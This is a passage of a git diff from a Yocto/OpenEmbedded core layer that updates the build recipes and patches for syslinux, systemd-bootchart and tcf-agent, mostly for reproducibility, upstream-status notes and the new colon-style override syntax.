++// for musl we also need limits.h for PATH_MAX
++#include <linux/limits.h>
+
+ #undef SECTOR_SIZE /* Defined in msdos_fs.h for no good reason */
+ #undef SECTOR_BITS
diff --git a/meta/recipes-devtools/syslinux/syslinux/0013-remove-clean-script.patch b/meta/recipes-devtools/syslinux/syslinux/0013-remove-clean-script.patch
new file mode 100644
index 0000000000..c0af7eff86
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/0013-remove-clean-script.patch
@@ -0,0 +1,27 @@
+From a11c8f88de6b6c42c805ba76e70532977bfd24bf Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Wed, 10 Dec 2014 10:26:33 -0800
+Subject: [PATCH] remove clean script
+
+This script try to call git submodule, since we are downloading
+the tarball it seems in-correct to do this.
+
+Upstream-Status: Inappropriate [OE-Specific]
+Signed-off-by: Saul Wold <sgw@linux.intel.com>
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ efi/Makefile | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/efi/Makefile b/efi/Makefile
+index 72e081e..3cfb3f6 100644
+--- a/efi/Makefile
++++ b/efi/Makefile
+@@ -102,7 +102,6 @@ tidy dist:
+ rm -f *.so *.o wrapper
+ find . \( -name \*.o -o -name \*.a -o -name .\*.d -o -name \*.tmp \) -print0 | \
+ xargs -0r rm -f
+- $(topdir)/efi/clean-gnu-efi.sh $(EFI_SUBARCH) $(objdir)
+
+ clean: tidy
+
diff --git a/meta/recipes-devtools/syslinux/syslinux/0014-Fix-reproducibility-issues.patch b/meta/recipes-devtools/syslinux/syslinux/0014-Fix-reproducibility-issues.patch
new file mode 100644
index 0000000000..bc48160cba
--- /dev/null
+++ b/meta/recipes-devtools/syslinux/syslinux/0014-Fix-reproducibility-issues.patch
@@ -0,0 +1,32 @@
+From e49e86bd3199f51ada8a4a1d51aa8d627645279e Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sat, 27 Feb 2021 23:42:03 +0000
+Subject: [PATCH] Fix reproducibility issues
+
+In order to build deterministic binaries, we need to sort the wildcard expansion
+so the libraries are linked in the same order each time. This fixes reproducibility
+issues within syslinux builds.
+
+Upstream-Status: Inactive-Upstream
+RP 2021/3/1
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ mk/lib.mk | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/mk/lib.mk b/mk/lib.mk
+index f3fb07c..815698c 100644
+--- a/mk/lib.mk
++++ b/mk/lib.mk
+@@ -130,8 +130,8 @@ LIBENTRY_OBJS = \
+ exit.o
+
+ LIBGCC_OBJS = \
+- $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c)) \
+- $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S))
++ $(sort $(patsubst $(com32)/lib/%.c,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.c))) \
++ $(sort $(patsubst $(com32)/lib/%.S,%.o,$(wildcard $(com32)/lib/$(ARCH)/libgcc/*.S)))
+
+ LIBCONSOLE_OBJS = \
+ \
diff --git a/meta/recipes-devtools/syslinux/syslinux/syslinux-remove-clean-script.patch b/meta/recipes-devtools/syslinux/syslinux/syslinux-remove-clean-script.patch
deleted file mode 100644
index 7c003e165b..0000000000
--- a/meta/recipes-devtools/syslinux/syslinux/syslinux-remove-clean-script.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-This script try to call git submodule, since we are downloading
-the tarball it seems in-correct to do this.
-
-Upstream-Status: Inappropriate [OE-Specific]
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-Index: syslinux-6.03/efi/Makefile
-===================================================================
---- syslinux-6.03.orig/efi/Makefile
-+++ syslinux-6.03/efi/Makefile
-@@ -101,7 +101,6 @@ tidy dist:
- rm -f *.so *.o wrapper
- find . \( -name \*.o -o -name \*.a -o -name .\*.d -o -name \*.tmp \) -print0 | \
- xargs -0r rm -f
-- $(topdir)/efi/clean-gnu-efi.sh $(EFI_SUBARCH) $(objdir)
-
- clean: tidy
-
diff --git a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
index 3e7eef3a75..c8e7f25d2b 100644
--- a/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
+++ b/meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb
@@ -1,16 +1,13 @@
SUMMARY = "Multi-purpose linux bootloader"
HOMEPAGE = "http://www.syslinux.org/"
-LICENSE = "GPLv2+"
+DESCRIPTION = "The Syslinux Project covers lightweight bootloaders for MS-DOS FAT filesystems (SYSLINUX), network booting (PXELINUX), bootable "El Torito" CD-ROMs (ISOLINUX), and Linux ext2/ext3/ext4 or btrfs filesystems (EXTLINUX). The project also includes MEMDISK, a tool to boot legacy operating systems (such as DOS) from nontraditional media; it is usually used in conjunction with PXELINUX and ISOLINUX."
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://README;beginline=35;endline=41;md5=558f2c71cb1fb9ba511ccd4858e48e8a"
-# If you really want to run syslinux, you need mtools. We just want the
-# ldlinux.* stuff for now, so skip mtools-native
DEPENDS = "nasm-native util-linux e2fsprogs"
-PV = "6.04-pre2"
SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz \
- file://syslinux-remove-clean-script.patch \
file://0001-linux-syslinux-support-ext2-3-4-device.patch \
file://0002-linux-syslinux-implement-open_ext2_fs.patch \
file://0003-linux-syslinux-implement-install_to_ext2.patch \
@@ -21,87 +18,114 @@ SRC_URI = "https://www.zytor.com/pub/syslinux/Testing/6.04/syslinux-${PV}.tar.xz
file://0008-libinstaller-syslinuxext-implement-syslinux_patch_bo.patch \
file://0009-linux-syslinux-implement-install_bootblock.patch \
file://0010-Workaround-multiple-definition-of-symbol-errors.patch \
- file://0001-install-don-t-install-obsolete-file-com32.ld.patch \
- "
+ file://0011-install-don-t-install-obsolete-file-com32.ld.patch \
+ file://0012-libinstaller-Fix-build-with-glibc-2.36.patch \
+ file://0013-remove-clean-script.patch \
+ file://0014-Fix-reproducibility-issues.patch \
+"
SRC_URI[md5sum] = "2b31c78f087f99179feb357da312d7ec"
SRC_URI[sha256sum] = "4441a5d593f85bb6e8d578cf6653fb4ec30f9e8f4a2315a3d8f2d0a8b3fadf94"
+# remove at next version upgrade or when output changes
+
+RECIPE_NO_UPDATE_REASON = "6.04-pre3 is broken"
UPSTREAM_CHECK_URI = "https://www.zytor.com/pub/syslinux/"
UPSTREAM_CHECK_REGEX = "syslinux-(?P<pver>.+)\.tar"
UPSTREAM_VERSION_UNKNOWN = "1"
-COMPATIBLE_HOST = '(x86_64|i.86).*-(linux|freebsd.*)'
+# We can build the native parts anywhere, but the target has to be x86
+COMPATIBLE_HOST:class-target = '(x86_64|i.86).*-(linux|freebsd.*)'
+
# Don't let the sanity checker trip on the 32 bit real mode BIOS binaries
-INSANE_SKIP_${PN}-misc = "arch"
-INSANE_SKIP_${PN}-chain = "arch"
+INSANE_SKIP:${PN}-misc = "arch"
+INSANE_SKIP:${PN}-chain = "arch"
+
+# When building the installer, CC is used to link. When building the bootloader,
+# LD is used. However, these variables assume that GCC is used and break the
+# build, so unset them.
+TARGET_LDFLAGS = ""
+SECURITY_LDFLAGS = ""
+LDFLAGS_SECTION_REMOVAL = ""
+
+CFLAGS:append = " -DNO_INLINE_FUNCS -Wno-error=implicit-function-declaration"
EXTRA_OEMAKE = " \
BINDIR=${bindir} SBINDIR=${sbindir} LIBDIR=${libdir} \
DATADIR=${datadir} MANDIR=${mandir} INCDIR=${includedir} \
+ CC="${CC} ${CFLAGS} ${LDFLAGS}" \
+ LD="${LD} ${LDFLAGS}" \
+ OBJDUMP="${OBJDUMP}" \
+ OBJCOPY="${OBJCOPY}" \
+ AR="${AR}" \
+ STRIP="${STRIP}" \
+ NM="${NM}" \
+ RANLIB="${RANLIB}" \
"
+# mtools allows non-root users to install syslinux
+PACKAGECONFIG ??= "mtools"
+PACKAGECONFIG[mtools] = ",,,"
+
+#
+# Tasks for native/nativesdk which just build the installer.
+#
do_configure() {
- # drop win32 targets or build fails
- sed -e 's,win32/\S*,,g' -i Makefile
-
- # clean installer executables included in source tarball
- oe_runmake clean firmware="efi32" EFIINC="${includedir}"
- # NOTE: There is a temporary work around above to specify
- # the efi32 as the firmware else the pre-built bios
- # files get erased contrary to the doc/distib.txt
- # In the future this should be "bios" and not "efi32".
+ oe_runmake firmware="bios" clean
}
do_compile() {
- # Make sure the recompile is OK.
- # Though the ${B} should always exist, still check it before find and rm.
- [ -d "${B}" ] && find ${B} -name '.*.d' -type f -exec rm -f {} \;
-
- # Rebuild only the installer; keep precompiled bootloaders
- # as per author's request (doc/distrib.txt)
- oe_runmake CC="${CC} ${CFLAGS}" \
- LD="${LD}" LDFLAGS="${LDFLAGS}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" installer
+ oe_runmake firmware="bios" installer
}
do_install() {
- oe_runmake CC="${CC} ${CFLAGS}" LD="${LD}" \
- OBJDUMP="${OBJDUMP}" \
- OBJCOPY="${OBJCOPY}" \
- AR="${AR}" \
- STRIP="${STRIP}" \
- NM="${NM}" \
- RANLIB="${RANLIB}" \
- firmware="bios" install INSTALLROOT="${D}"
+ install -d ${D}${bindir}
+ install \
+ ${B}/bios/extlinux/extlinux \
+ ${B}/bios/utils/isohybrid \
+ ${D}${bindir}
+
+ if ${@bb.utils.contains("PACKAGECONFIG", "mtools", "true", "false", d)}; then
+ install ${B}/bios/mtools/syslinux ${D}${bindir}
+ else
+ install ${B}/bios/linux/syslinux ${D}${bindir}
+ fi
+}
+
+#
+# Tasks for target which ship the precompiled bootloader and installer
+#
+do_configure:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_compile:class-target() {
+ # No need to do anything as we're mostly shipping the precompiled binaries
+ :
+}
+
+do_install:class-target() {
+ oe_runmake firmware="bios" install INSTALLROOT="${D}"
install -d ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.sys ${D}${datadir}/syslinux/
install -m 644 ${S}/bios/core/ldlinux.bss ${D}${datadir}/syslinux/
- install -m 755 ${S}/bios/linux/syslinux-nomtools ${D}${bindir}/
}
-PACKAGES += "${PN}-nomtools ${PN}-extlinux ${PN}-mbr ${PN}-chain ${PN}-pxelinux ${PN}-isolinux ${PN}-misc"
-
-RDEPENDS_${PN} += "mtools"
-RDEPENDS_${PN}-nomtools += "libext2fs"
-RDEPENDS_${PN}-misc += "perl"
-
-FILES_${PN} = "${bindir}/syslinux"
-FILES_${PN}-nomtools = "${bindir}/syslinux-nomtools"
-FILES_${PN}-extlinux = "${sbindir}/extlinux"
-FILES_${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
-FILES_${PN}-chain = "${datadir}/${BPN}/chain.c32"
-FILES_${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
-FILES_${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
-FILES_${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
-FILES_${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
-FILES_${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
+PACKAGES += "${PN}-extlinux ${PN}-mbr ${PN}-chain ${PN}-pxelinux ${PN}-isolinux ${PN}-misc"
+
+RDEPENDS:${PN} += "${@bb.utils.contains("PACKAGECONFIG", "mtools", "mtools", "", d)}"
+RDEPENDS:${PN}-misc += "perl"
+
+FILES:${PN} = "${bindir}/syslinux"
+FILES:${PN}-extlinux = "${sbindir}/extlinux"
+FILES:${PN}-mbr = "${datadir}/${BPN}/mbr.bin"
+FILES:${PN}-chain = "${datadir}/${BPN}/chain.c32"
+FILES:${PN}-isolinux = "${datadir}/${BPN}/isolinux.bin"
+FILES:${PN}-pxelinux = "${datadir}/${BPN}/pxelinux.0"
+FILES:${PN}-dev += "${datadir}/${BPN}/com32/lib*${SOLIBS} ${datadir}/${BPN}/com32/include ${datadir}/${BPN}/com32/com32.ld"
+FILES:${PN}-staticdev += "${datadir}/${BPN}/com32/lib*.a ${libdir}/${BPN}/com32/lib*.a"
+FILES:${PN}-misc = "${datadir}/${BPN}/* ${libdir}/${BPN}/* ${bindir}/*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch
deleted file mode 100644
index fc03812bb9..0000000000
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-architecture-Recognise-RISCV-32-RISCV-64.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 4a6ace0a965965ea15e88c3418c7158ca5cc9f8f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 21 Nov 2019 10:12:05 -0800
-Subject: [PATCH] architecture: Recognise RISCV-32/RISCV-64
-
-Upstream-Status: Backport [https://github.com/systemd/systemd/commit/171b53380085b1288b03b19a2b978f36a5c003d0]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/architecture.h | 13 +++++++++++++
- 1 file changed, 13 insertions(+)
-
-diff --git a/src/architecture.h b/src/architecture.h
-index 26679e2..89c7d32 100644
---- a/src/architecture.h
-+++ b/src/architecture.h
-@@ -57,6 +57,8 @@ enum {
- ARCHITECTURE_M68K,
- ARCHITECTURE_TILEGX,
- ARCHITECTURE_CRIS,
-+ ARCHITECTURE_RISCV32,
-+ ARCHITECTURE_RISCV64,
- _ARCHITECTURE_MAX,
- _ARCHITECTURE_INVALID = -1
- };
-@@ -194,6 +196,17 @@ int uname_architecture(void);
- #elif defined(__cris__)
- # define native_architecture() ARCHITECTURE_CRIS
- # error "Missing LIB_ARCH_TUPLE for CRIS"
-+#elif defined(__riscv)
-+# if __SIZEOF_POINTER__ == 4
-+# define native_architecture() ARCHITECTURE_RISCV32
-+# define LIB_ARCH_TUPLE "riscv32-linux-gnu"
-+# elif __SIZEOF_POINTER__ == 8
-+# define native_architecture() ARCHITECTURE_RISCV64
-+# define LIB_ARCH_TUPLE "riscv64-linux-gnu"
-+# else
-+# error "Unrecognized riscv architecture variant"
-+# endif
-+# define PROC_CPUINFO_MODEL "cpu model"
- #else
- # error "Please register your architecture here!"
- #endif
---
-2.24.0
-
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
index f392ceafcc..812900051a 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
@@ -12,8 +12,8 @@ systemd/0013-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Denied [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/util.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
index 196272f7a2..2fac76a549 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch
@@ -10,8 +10,8 @@ Original patch author: Emil Renner Berthing <systemd@esmil.dk>
Includes work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Denied [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
Makefile.am | 4 +
configure.ac | 3 +
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
index 7670d95f07..fbe9c93d2d 100644
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch
@@ -9,8 +9,8 @@ systemd/0007-check-for-missing-canonicalize_file_name.patch
Based on work by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Tim Orling <timothy.t.orling@linux.intel.com>
+Upstream-Status: Denied [https://github.com/systemd/systemd-bootchart/pull/47]
---
-Upstream-Status: Pending
src/path-util.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
new file mode 100644
index 0000000000..1fdf8dbcc2
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch
@@ -0,0 +1,19 @@
+LTO output is not reproducible. Until it is, disable this. Sadly
+there is no configuration option to do so at this time.
+
+Upstream-Status: Pending [may be accept addition of configuration option?]
+RP 2021/3/1
+
+Index: git/configure.ac
+===================================================================
+--- git.orig/configure.ac
++++ git/configure.ac
+@@ -124,7 +124,7 @@ AS_CASE([$CC], [*clang*],
+
+ AS_CASE([$CFLAGS], [*-O[[12345sz\ ]]*],
+ [CC_CHECK_FLAGS_APPEND([with_cflags], [CFLAGS], [\
+- -flto -ffat-lto-objects])],
++ ])],
+ [AC_MSG_RESULT([skipping -flto, optimization not enabled])])
+ AC_SUBST([OUR_CFLAGS], "$with_cflags $sanitizer_cflags")
+
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
deleted file mode 100644
index a7a1f0ff1a..0000000000
--- a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https \
- file://0001-architecture-Recognise-RISCV-32-RISCV-64.patch \
- file://mips64.patch \
-"
-
-SRC_URI_append_libc-musl = " \
- file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
- file://0002-musl-does-not-provide-printf-h.patch \
- file://0003-musl-does-not-provide-canonicalize_file_name.patch \
- "
-
-
-# Modify these as desired
-PV = "233+git${SRCPV}"
-SRCREV = "fe1c5e41e6bdb78043dad8fa863fc2df66d1dadf"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
-
-inherit pkgconfig autotools systemd features_check
-
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SYSTEMD_SERVICE_${PN} = "systemd-bootchart.service"
-
-do_configure_prepend() {
- # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
- rm -f ${S}/m4/intltool.m4
-}
-
-FILES_${PN} += "${systemd_unitdir}/systemd-bootchart"
-
-EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
- --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_235.bb b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_235.bb
new file mode 100644
index 0000000000..25544029d5
--- /dev/null
+++ b/meta/recipes-devtools/systemd-bootchart/systemd-bootchart_235.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Boot performance graphing tool"
+DESCRIPTION = "For systemd-bootchart, several proc debug interfaces are required in the kernel config: \
+ CONFIG_SCHEDSTATS \
+below is optional, for additional info: \
+ CONFIG_SCHED_DEBUG"
+HOMEPAGE = "https://github.com/systemd/systemd-bootchart"
+LICENSE = "LGPL-2.1-only & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c \
+ file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://github.com/systemd/systemd-bootchart.git;protocol=https;branch=main \
+ file://mips64.patch \
+ file://no_lto.patch \
+"
+
+SRC_URI:append:libc-musl = " \
+ file://0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch \
+ file://0002-musl-does-not-provide-printf-h.patch \
+ file://0003-musl-does-not-provide-canonicalize_file_name.patch \
+ "
+
+
+SRCREV = "8ab9680a1bd5eb8fe7a7dcc44897af7ee41e56e7"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "systemd libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native intltool"
+
+inherit pkgconfig autotools systemd features_check
+
+REQUIRED_DISTRO_FEATURES = "systemd"
+
+SYSTEMD_SERVICE:${PN} = "systemd-bootchart.service"
+
+do_configure:prepend() {
+ # intltool.m4 is a soft link to /usr/share/aclocal/m4, delete it and use the one in our sysroot
+ rm -f ${S}/m4/intltool.m4
+}
+
+FILES:${PN} += "${systemd_unitdir}/systemd-bootchart"
+
+EXTRA_OECONF = " --with-rootprefix=${root_prefix} \
+ --with-rootlibdir=${base_libdir}"
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
deleted file mode 100644
index abd33babeb..0000000000
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Actually pass the arguments to RANLIB.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Index: agent/Makefile.inc
-===================================================================
---- a/Makefile.inc
-+++ b/Makefile.inc
-@@ -92,6 +92,7 @@ ifeq ($(OPSYS),GNU/Linux)
- OPTS += -DUSE_uuid_generate=0
- endif
- OPTS += -DENABLE_arch_$(shell uname -m)
-+ RANLIB += $@
- endif
-
- ifneq ($(OPSYS),Windows)
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
index c03c55d22b..d701e8dec0 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch
@@ -1,4 +1,8 @@
-Upstream-Status: Pending
+We need LDFLAGS to be respected otherwise there are QA warnings as the right
+flags don't get used.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
From d92af0483c20365fd0af740d0baef8870b4aa374 Mon Sep 17 00:00:00 2001
From: Abdur Rehman <abdur_rehman@mentor.com>
@@ -6,23 +10,26 @@ Date: Wed, 26 Aug 2015 19:18:11 +0500
Subject: [PATCH] tcf-agent: obey LDFLAGS
Signed-off-by: Abdur Rehman <abdur_rehman@mentor.com>
+
+Rebased to 4a2c4baaccbc8c29ce0297705de9a4e096d57ce5 version
+
+Signed-off-by: Mark hatle <mark.hatle@amd.com>
+
+
---
Makefile.inc | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/Makefile.inc b/Makefile.inc
-index 959028f..3148942 100644
---- a/Makefile.inc
-+++ b/Makefile.inc
-@@ -96,7 +96,7 @@ NO_LINK_F ?= -c
+Index: agent/Makefile.inc
+===================================================================
+--- agent.orig/Makefile.inc
++++ agent/Makefile.inc
+@@ -111,7 +111,7 @@ NO_LINK_F ?= -c
# Linker definition and flags
- LINK ?= $(CC)
--LINK_FLAGS ?= $(CFLAGS)
-+LINK_FLAGS ?= $(LDFLAGS) $(CFLAGS)
- LINK_OUT_F ?= $(OUT_OBJ_F)
+ LINK ?= $(CC)
+-LINK_FLAGS ?= $(CFLAGS)
++LINK_FLAGS ?= $(LDFLAGS) $(CFLAGS)
+ LINK_OUT_F ?= $(OUT_OBJ_F)
# Archiver definition and flags
---
-1.7.9.5
-
diff --git a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
index ed14fe66b1..59b9d7de78 100644
--- a/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
+++ b/meta/recipes-devtools/tcf-agent/tcf-agent_git.bb
@@ -1,29 +1,29 @@
SUMMARY = "Target Communication Framework for the Eclipse IDE"
HOMEPAGE = "http://wiki.eclipse.org/TCF"
+DESCRIPTION = "TCF is a vendor-neutral, lightweight, extensible network protocol mainly for communicating with embedded systems (targets)."
BUGTRACKER = "https://bugs.eclipse.org/bugs/"
LICENSE = "EPL-1.0 | EDL-1.0"
LIC_FILES_CHKSUM = "file://edl-v10.html;md5=522a390a83dc186513f0500543ad3679"
-SRCREV = "a022ef2f1acfd9209a1bf792dda14ae4b0d1b60f"
-PV = "1.7.0+git${SRCPV}"
+SRCREV = "1f11747e83ebf4f53e8d17f430136f92ec378709"
+PV = "1.8.0+git"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-SRC_URI = "git://git.eclipse.org/gitroot/tcf/org.eclipse.tcf.agent \
- file://fix_ranlib.patch \
+SRC_URI = "git://git.eclipse.org/r/tcf/org.eclipse.tcf.agent.git;protocol=https;branch=master \
file://ldflags.patch \
file://tcf-agent.init \
file://tcf-agent.service \
"
DEPENDS = "util-linux openssl"
-RDEPENDS_${PN} = "bash"
+RDEPENDS:${PN} = "bash"
S = "${WORKDIR}/git/agent"
inherit update-rc.d systemd
-SYSTEMD_SERVICE_${PN} = "tcf-agent.service"
+SYSTEMD_SERVICE:${PN} = "tcf-agent.service"
INITSCRIPT_NAME = "tcf-agent"
INITSCRIPT_PARAMS = "start 99 3 5 . stop 20 0 1 2 6 ."
@@ -41,20 +41,22 @@ LCL_STOP_SERVICES = "-DSERVICE_RunControl=0 -DSERVICE_Breakpoints=0 \
# These features don't compile for several cases.
#
-CFLAGS_append_arc = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_mips64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_libc-musl = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_powerpc64 = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_powerpc64le = " ${LCL_STOP_SERVICES}"
-CFLAGS_append_riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:arc = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:mips64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:libc-musl = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:powerpc64le = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv64 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:riscv32 = " ${LCL_STOP_SERVICES}"
+CFLAGS:append:loongarch64 = " ${LCL_STOP_SERVICES}"
do_install() {
oe_runmake install INSTALLROOT=${D}
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/tcf-agent.init ${D}${sysconfdir}/init.d/tcf-agent
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/tcf-agent.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/tcf-agent.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/tcf-agent.service
}
diff --git a/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch b/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch
deleted file mode 100644
index 3cd34155ee..0000000000
--- a/meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From f7fa48c4c75a1e748dc5071e709c0b62ff739eaa Mon Sep 17 00:00:00 2001
-From: "jan.nijtmans" <nijtmans@users.sourceforge.net>
-Date: Mon, 9 Dec 2019 10:02:20 +0000
-Subject: [PATCH] Fix [abd4abedd2]: Failed to build tk 8.6.10 with cross
- compile
-
-Upstream-Status: Backport
